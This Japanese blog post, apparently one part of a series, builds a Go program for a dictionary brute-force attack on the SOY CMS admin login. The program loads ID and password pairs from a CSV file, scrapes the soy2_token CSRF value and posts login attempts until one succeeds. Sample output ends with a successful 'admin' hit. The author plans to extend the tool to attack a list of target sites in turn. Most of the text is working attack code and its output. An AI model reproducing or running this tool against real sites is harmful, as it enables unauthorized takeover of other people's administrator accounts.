SOY CMSに総当り攻撃を仕掛けてみる。その3では、コード内にパスワードリストを作って、そのリストに従ってログインのチェックを行った。

これだと、試したいものが膨大になるとその時点でコードの可読性が落ちる。


ということで、


list_csv


IDとパスワードはCSVファイルにまとめて、総当たり攻撃を実行した時にCSVファイルを読み込んでログインのチェックを行うという処理に変更してみる。

※CSVファイルのエンコードはUTF-8での話です


前回のコードに太文字のコードを追加してみた。


package main

import (
	"bufio"
	"encoding/csv"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"regexp"
	"strings"
	"sync"
)

type Jar struct {
	lk      sync.Mutex
	cookies map[string][]*http.Cookie
}

func NewJar() *Jar {
	jar := new(Jar)
	jar.cookies = make(map[string][]*http.Cookie)
	return jar
}

func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
	jar.lk.Lock()
	jar.cookies[u.Host] = cookies
	jar.lk.Unlock()
}

func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
	return jar.cookies[u.Host]
}

func main() {
	var token string

	//IDとパスワードを保存するための配列
	var ids []string
	var pws []string

	//IDとパスワードのリストを読み込む
	f, _ := os.Open("list.csv")
	defer f.Close()

	r := csv.NewReader(f)
	for {
		record, err := r.Read()
		//最後の行の場合は読み込みを終了
		if err == io.EOF {
			break
		}
		if len(record[0]) > 0 {
			ids = append(ids, record[0])
		}

		if len(record[1]) > 0 {
			pws = append(pws, record[1])
		}
	}

	jar := NewJar()
	client := http.Client{
		Jar: jar,
	}

	u := "http://example.com/cms/admin/"

	for _, user := range ids {
		//ヒットした場合はtrueにして、全体の処理を終了させる
		finished := false

		for _, pw := range pws {

			//ログインに成功したか?
			success := true

			resp, _ := client.Get(u)
			s := bufio.NewScanner(resp.Body)
			for s.Scan() {
				if hit := strings.Index(s.Text(), "soy2_token"); hit > 0 {
					re := regexp.MustCompile("value=\"(.*)\"")
					res := re.FindString(s.Text())
					res = strings.Replace(res, "value=", "", 1)
					token = strings.Trim(res, "\"")
				}
			}

			resp.Body.Close()
			params := url.Values{}
			params.Add("soy2_token", token)
			params.Add("Auth[name]", user)
			params.Add("Auth[password]", pw)

			resp, _ = client.PostForm(u, params)
			defer resp.Body.Close()
			s = bufio.NewScanner(resp.Body)
			for s.Scan() {

				if hit := strings.Index(s.Text(), "failed_message"); hit > 0 {
					fmt.Println("ログイン失敗")
					success = false
				}
			}

			if success == true {
				fmt.Println("ログイン成功")
				fmt.Println("ヒットしたID:", user, "Pw:", pw)
				finished = true
				break
			}
		}
		if finished == true {
			break
		}
	}
}

これで、登録したIDとパスワードを掛けあわせた分だけトライすることができるようになった。


それではこのコードを実行してみると、


$:~/ go run test.go
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン成功
ヒットしたID: admin Pw: ********

ヒットしたことが確認できた。

これでIDとパスワードの辞書を一度作成したら使いまわせるということになった。


あとはメモリーの使い方をもっとスリムにして、大量のパスワードを扱える様にする。


プログラムを実行するときに、対象サイトのURLも何らかの形で指定できる様にして、対象サイトリストを順に攻撃できる様にしたい。


あとは、今はログイン失敗で判定しているけど、ログイン成功での判定に変更したい。

等々やりたいことはたくさんあるけど、コードの作成はここらへんでやめておくことにする。